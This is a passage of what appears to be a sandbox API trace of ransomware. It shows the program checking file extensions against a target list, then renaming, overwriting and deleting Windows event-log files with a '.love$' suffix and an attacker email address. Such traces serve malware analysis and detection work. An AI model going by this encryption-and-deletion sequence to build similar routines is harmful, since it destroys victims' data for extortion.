(lpString1=".dbf", lpString2="evtx") returned -1 [0114.656] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0114.656] lstrlenW (lpString=".1cd") returned 4 [0114.656] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0114.656] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0114.656] lstrlenW (lpString=".jpg") returned 4 [0114.656] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0114.656] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0114.656] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0114.656] lstrlenW (lpString=".doc") returned 4 [0114.656] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0114.656] lstrlenW (lpString=".docx") returned 5 [0114.656] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0114.656] lstrlenW (lpString=".pdf") returned 4 [0114.656] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0114.657] lstrlenW (lpString=".xls") returned 4 [0114.657] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0114.657] lstrlenW (lpString=".xlsx") returned 5 [0114.657] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0114.657] lstrlenW (lpString=".ppt") returned 4 [0114.657] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0114.657] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0114.657] lstrlenW (lpString=".zip") returned 4 [0114.657] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0114.657] lstrlenW (lpString=".rar") returned 4 [0114.657] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0114.657] lstrlenW (lpString=".bz2") returned 4 [0114.657] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0114.657] lstrlenW (lpString=".7z") returned 3 [0114.657] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0114.657] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0114.657] lstrlenW (lpString=".dbf") returned 4 [0114.657] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0114.657] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0114.657] lstrlenW (lpString=".1cd") returned 4 [0114.657] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0114.657] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0114.657] lstrlenW (lpString=".jpg") returned 4 [0114.657] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0114.658] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0114.658] lstrlenW (lpString="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 56 [0114.658] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.658] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=2166784) returned 1 [0114.658] CloseHandle (hObject=0x364) returned 1 [0114.658] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx")) returned 0x20 [0114.658] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0114.659] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 1 [0114.660] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.660] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fc64 | out: lpNewFilePointer=0x0) returned 1 [0114.660] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fc24 | out: lpNewFilePointer=0x0) returned 1 [0114.660] ReadFile (in: hFile=0x364, lpBuffer=0x35d6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a9fc30, lpOverlapped=0x0 | out: lpBuffer=0x35d6058*, lpNumberOfBytesRead=0x2a9fc30*=0x40000, lpOverlapped=0x0) returned 1 [0114.665] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fc24 | out: lpNewFilePointer=0x0) returned 1 [0114.665] ReadFile (in: hFile=0x364, lpBuffer=0x3616058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a9fc30, lpOverlapped=0x0 | out: lpBuffer=0x3616058*, lpNumberOfBytesRead=0x2a9fc30*=0x40000, lpOverlapped=0x0) returned 1 [0115.308] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a9fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0115.309] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fc24 | out: lpNewFilePointer=0x0) returned 1 [0115.309] ReadFile (in: hFile=0x364, lpBuffer=0x3656058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a9fc30, lpOverlapped=0x0 | out: lpBuffer=0x3656058*, lpNumberOfBytesRead=0x2a9fc30*=0x40000, lpOverlapped=0x0) returned 1 [0115.340] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0115.341] WriteFile (in: hFile=0x364, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0xc015c, lpNumberOfBytesWritten=0x2a9fca8, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fca8*=0xc015c, lpOverlapped=0x0) returned 1 [0116.198] SetEndOfFile (hFile=0x364) returned 1 [0116.686] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f33ea8 [0116.692] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fc74 | out: lpNewFilePointer=0x0) returned 1 [0116.692] WriteFile (in: hFile=0x364, lpBuffer=0x3f33ea8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a9fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f33ea8*, lpNumberOfBytesWritten=0x2a9fc80*=0x40000, lpOverlapped=0x0) returned 1 [0116.695] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fc74 | out: lpNewFilePointer=0x0) returned 1 [0116.695] WriteFile (in: hFile=0x364, lpBuffer=0x3f33ea8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a9fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f33ea8*, lpNumberOfBytesWritten=0x2a9fc80*=0x40000, lpOverlapped=0x0) returned 1 [0116.698] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fc74 | out: lpNewFilePointer=0x0) returned 1 [0116.698] WriteFile (in: hFile=0x364, lpBuffer=0x3f33ea8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a9fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f33ea8*, lpNumberOfBytesWritten=0x2a9fc80*=0x40000, lpOverlapped=0x0) returned 1 [0116.701] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0116.703] CloseHandle (hObject=0x364) returned 1 [0117.882] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0117.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0117.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0117.883] lstrlenW (lpString=".doc") returned 4 [0117.883] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0117.883] lstrlenW (lpString=".docx") returned 5 [0117.883] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0117.883] lstrlenW (lpString=".pdf") returned 4 [0117.883] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0117.883] lstrlenW (lpString=".xls") returned 4 [0117.883] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0117.883] lstrlenW (lpString=".xlsx") returned 5 [0117.883] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0117.883] lstrlenW (lpString=".ppt") returned 4 [0117.883] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0117.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0117.883] lstrlenW (lpString=".zip") returned 4 [0117.883] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0117.883] lstrlenW (lpString=".rar") returned 4 [0117.883] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0117.883] lstrlenW (lpString=".bz2") returned 4 [0117.883] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0117.883] lstrlenW (lpString=".7z") returned 3 [0117.883] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0117.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0117.883] lstrlenW (lpString=".dbf") returned 4 [0117.883] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0117.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0117.883] lstrlenW (lpString=".1cd") returned 4 [0117.883] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0117.883] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0117.884] lstrlenW (lpString=".jpg") returned 4 [0117.884] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0117.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0117.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0117.884] lstrlenW (lpString=".doc") returned 4 [0117.884] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0117.884] lstrlenW (lpString=".docx") returned 5 [0117.884] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0117.884] lstrlenW (lpString=".pdf") returned 4 [0117.884] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0117.884] lstrlenW (lpString=".xls") returned 4 [0117.884] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0117.884] lstrlenW (lpString=".xlsx") returned 5 [0117.884] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0117.884] lstrlenW (lpString=".ppt") returned 4 [0117.884] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0117.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0117.884] lstrlenW (lpString=".zip") returned 4 [0117.884] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0117.884] lstrlenW (lpString=".rar") returned 4 [0117.884] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0117.884] lstrlenW (lpString=".bz2") returned 4 [0117.884] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0117.884] lstrlenW (lpString=".7z") returned 3 [0117.884] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0117.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0117.884] lstrlenW (lpString=".dbf") returned 4 [0117.884] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0117.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0117.884] lstrlenW (lpString=".1cd") returned 4 [0117.884] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0117.884] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx") returned 64 [0117.884] lstrlenW (lpString=".jpg") returned 4 [0117.884] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0117.885] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0117.885] lstrlenW (lpString="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 49 [0117.885] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0117.885] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=69632) returned 1 [0117.885] CloseHandle (hObject=0x364) returned 1 [0117.885] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 0x20 [0117.885] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0117.886] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0117.886] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.886] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0117.886] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0117.886] GetLastError () returned 0x0 [0117.886] ReadFile (in: hFile=0x364, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x11000, lpOverlapped=0x0) returned 1 [0118.005] WriteFile (in: hFile=0x34c, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0118.008] ReadFile (in: hFile=0x364, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0118.008] WriteFile (in: hFile=0x34c, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x136, lpOverlapped=0x0) returned 1 [0118.008] SetEndOfFile (hFile=0x34c) returned 1 [0118.008] CloseHandle (hObject=0x34c) returned 1 [0118.010] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0118.010] SetEndOfFile (hFile=0x364) returned 1 [0118.012] CloseHandle (hObject=0x364) returned 1 [0118.012] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0118.012] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 1 [0118.012] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0118.012] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0118.012] lstrlenW (lpString=".doc") returned 4 [0118.012] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0118.012] lstrlenW (lpString=".docx") returned 5 [0118.012] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0118.012] lstrlenW (lpString=".pdf") returned 4 [0118.013] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0118.013] lstrlenW (lpString=".xls") returned 4 [0118.013] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0118.013] lstrlenW (lpString=".xlsx") returned 5 [0118.013] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0118.013] lstrlenW (lpString=".ppt") returned 4 [0118.013] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0118.013] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0118.013] lstrlenW (lpString=".zip") returned 4 [0118.013] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0118.013] lstrlenW (lpString=".rar") returned 4 [0118.013] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0118.013] lstrlenW (lpString=".bz2") returned 4 [0118.013] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0118.013] lstrlenW (lpString=".7z") returned 3 [0118.013] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0118.013] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0118.013] lstrlenW (lpString=".dbf") returned 4 [0118.013] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0118.013] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0118.013] lstrlenW (lpString=".1cd") returned 4 [0118.013] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0118.013] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0118.013] lstrlenW (lpString=".jpg") returned 4 [0118.013] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0118.013] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0118.013] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0118.013] lstrlenW (lpString=".doc") returned 4 [0118.013] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0118.013] lstrlenW (lpString=".docx") returned 5 [0118.013] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0118.013] lstrlenW (lpString=".pdf") returned 4 [0118.013] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0118.013] lstrlenW (lpString=".xls") returned 4 [0118.013] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0118.014] lstrlenW (lpString=".xlsx") returned 5 [0118.014] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0118.014] lstrlenW (lpString=".ppt") returned 4 [0118.014] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0118.014] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0118.014] lstrlenW (lpString=".zip") returned 4 [0118.014] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0118.014] lstrlenW (lpString=".rar") returned 4 [0118.014] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0118.014] lstrlenW (lpString=".bz2") returned 4 [0118.014] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0118.014] lstrlenW (lpString=".7z") returned 3 [0118.014] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0118.014] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0118.014] lstrlenW (lpString=".dbf") returned 4 [0118.014] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0118.014] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0118.014] lstrlenW (lpString=".1cd") returned 4 [0118.014] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0118.014] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx") returned 57 [0118.014] lstrlenW (lpString=".jpg") returned 4 [0118.014] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0118.014] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0118.014] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 48 [0118.014] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0118.015] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=69632) returned 1 [0118.015] CloseHandle (hObject=0x364) returned 1 [0118.015] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 0x20 [0118.015] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0118.015] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0118.015] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0118.015] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0118.015] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0118.016] GetLastError () returned 0x0 [0118.016] ReadFile (in: hFile=0x364, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x11000, lpOverlapped=0x0) returned 1 [0118.447] WriteFile (in: hFile=0x34c, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0118.449] ReadFile (in: hFile=0x364, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0118.450] WriteFile (in: hFile=0x34c, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x134, lpOverlapped=0x0) returned 1 [0118.450] SetEndOfFile (hFile=0x34c) returned 1 [0118.450] CloseHandle (hObject=0x34c) returned 1 [0118.456] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0118.456] SetEndOfFile (hFile=0x364) returned 1 [0118.458] CloseHandle (hObject=0x364) returned 1 [0118.458] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0118.458] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 1 [0118.577] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0118.577] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0118.577] lstrlenW (lpString=".doc") returned 4 [0118.577] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0118.577] lstrlenW (lpString=".docx") returned 5 [0118.577] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0118.577] lstrlenW (lpString=".pdf") returned 4 [0118.577] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0118.577] lstrlenW (lpString=".xls") returned 4 [0118.577] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0118.577] lstrlenW (lpString=".xlsx") returned 5 [0118.577] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0118.577] lstrlenW (lpString=".ppt") returned 4 [0118.577] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0118.578] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56 [0118.578] lstrlenW (lpString=".zip") returned 4 [0118.578] lstrcmpiW (lpString1=".zip", lpString2="evtx") 